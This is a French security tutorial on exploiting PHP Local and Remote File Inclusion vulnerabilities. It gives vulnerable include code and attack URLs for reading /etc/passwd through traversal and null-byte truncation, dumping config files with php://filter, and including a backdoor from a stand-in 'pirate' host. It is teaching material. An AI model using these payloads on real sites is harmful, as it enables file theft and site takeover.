file
Transcription
file
HEYROOT.ME Exploitation de la faille Include (LFI/RFI) Version 1.0 1.1 Date 24/11/2014 21/11/2015 Révision Initiation du document Ajout des PHP Wrappers Auteur Shura Shura HEYROOT.ME Description La faille include est l'une des vulnérabilités du web les plus connues, ce qui explique que l'on en trouve de moins en moins lors d'audit de sécurité. Dans cet article nous allons voir les méthodes qui permettent d'exploiter les failles Local File Include et Remote File Include. Exploitation Local File Include Une faille Local File Include ou LFI ne permet d'inclure que des fichiers présents sur le serveur de la victime. Prenons cette l'URL : http://cible/index.php?page=accueil.php Ci-dessous, nous pouvons voir un exemple un code vulnérable dans le fichier index.php. ‹?php include ("/var/www/monsite/include/".$_GET['page']); ?> Le début du chemin est défini statiquement, il n'est pas possible de le changer donc nous ne pourrons pas inclure des fichiers distants. Cependant, l'URL suivante nous permettra de voir le contenu du fichier passwd (sur un système Linux). http://cible/index.php?page=../../../../etc/passwd Maintenant, prenons le cas suivant où une extension de fichier est définie statiquement, nous empêchant d'ouvrir un fichier avec l'extension de notre choix. ‹?php include ("/var/www/monsite/include/".$_GET['page'].".php"); ?> Il existe un hack que l'on nomme null bit pour les versions PHP inférieur à 5.3.4. Cela consiste à couper la chaine de caractères où nous le souhaitons en injectant un caractère de fin de chaine \0. Encodé, dans l'url ce caractère se traduit pas %00. Avec l’URL suivante le .php ne sera pas pris en compte. http://cible/index.php?page=../../../../etc/passwd%00 A noter que dans la configuration d'apache et PHP la directive open_basedir peut très bien restreindre la base du dossier par exemple a /var/www/ nous empêchant de monter plus haut dans l'arborescence. PHP Wrappers Il est possible de récupérer le contenu de fichier interprété en utilisant des certains Wrappers PHP comme PHP filters. Nous allons tout simplement convertir le fichier config.php en base64 pour l’afficher. 24 novembre 2014 2 HEYROOT.ME http://cible/index.php?page=php://filter/read=convert.base64encode/resource=config.php Il ne restera plus qu’à décoder la chaine affichée. Remote File Include Une faille Remote File Include ou RFI permet d'inclure des fichiers distants et d'exécuter le code PHP présent dans ces fichiers. Tout d'abord il est important de noter que cette faille ne fonctionne que si l'inclusion à distance est autorisée explicitement dans la configuration (php.ini) ou que la version de PHP est inférieure à 5.2.0. allow_url_fopen = On allow_url_include = On Par défaut allow_url_include est à Off. Prenons le code suivant : ‹?php include ($_GET['page']); ?> Il n'y a aucune restriction. Imaginons d'un attaquant héberge n'importe où sur le web un fichier contenant du code PHP (hack.txt), et qu'il joue avec l'URL pour inclure ce fichier. http://cible/index.php?page=http://pirate/hack.txt Son fichier sera alors inclue, et celui-ci contient une backdoor le pirate prendra le contrôle du site (si les droits le permettent). Voyons maintenant le cas d'une extension statique. ‹?php include ($_GET['page'].".php"); ?> Dans le code source suivant, l'extension est fixe, et pourrait très bien nous gêner si la backdoor est sur un serveur qui interprète PHP et ne laisse pas révéler son code. Utiliser les paramètres de variables GET pour contourner cette situation. http://cible/index.php?page=http://pirate/hack.txt?variable=aaaa 24 novembre 2014 3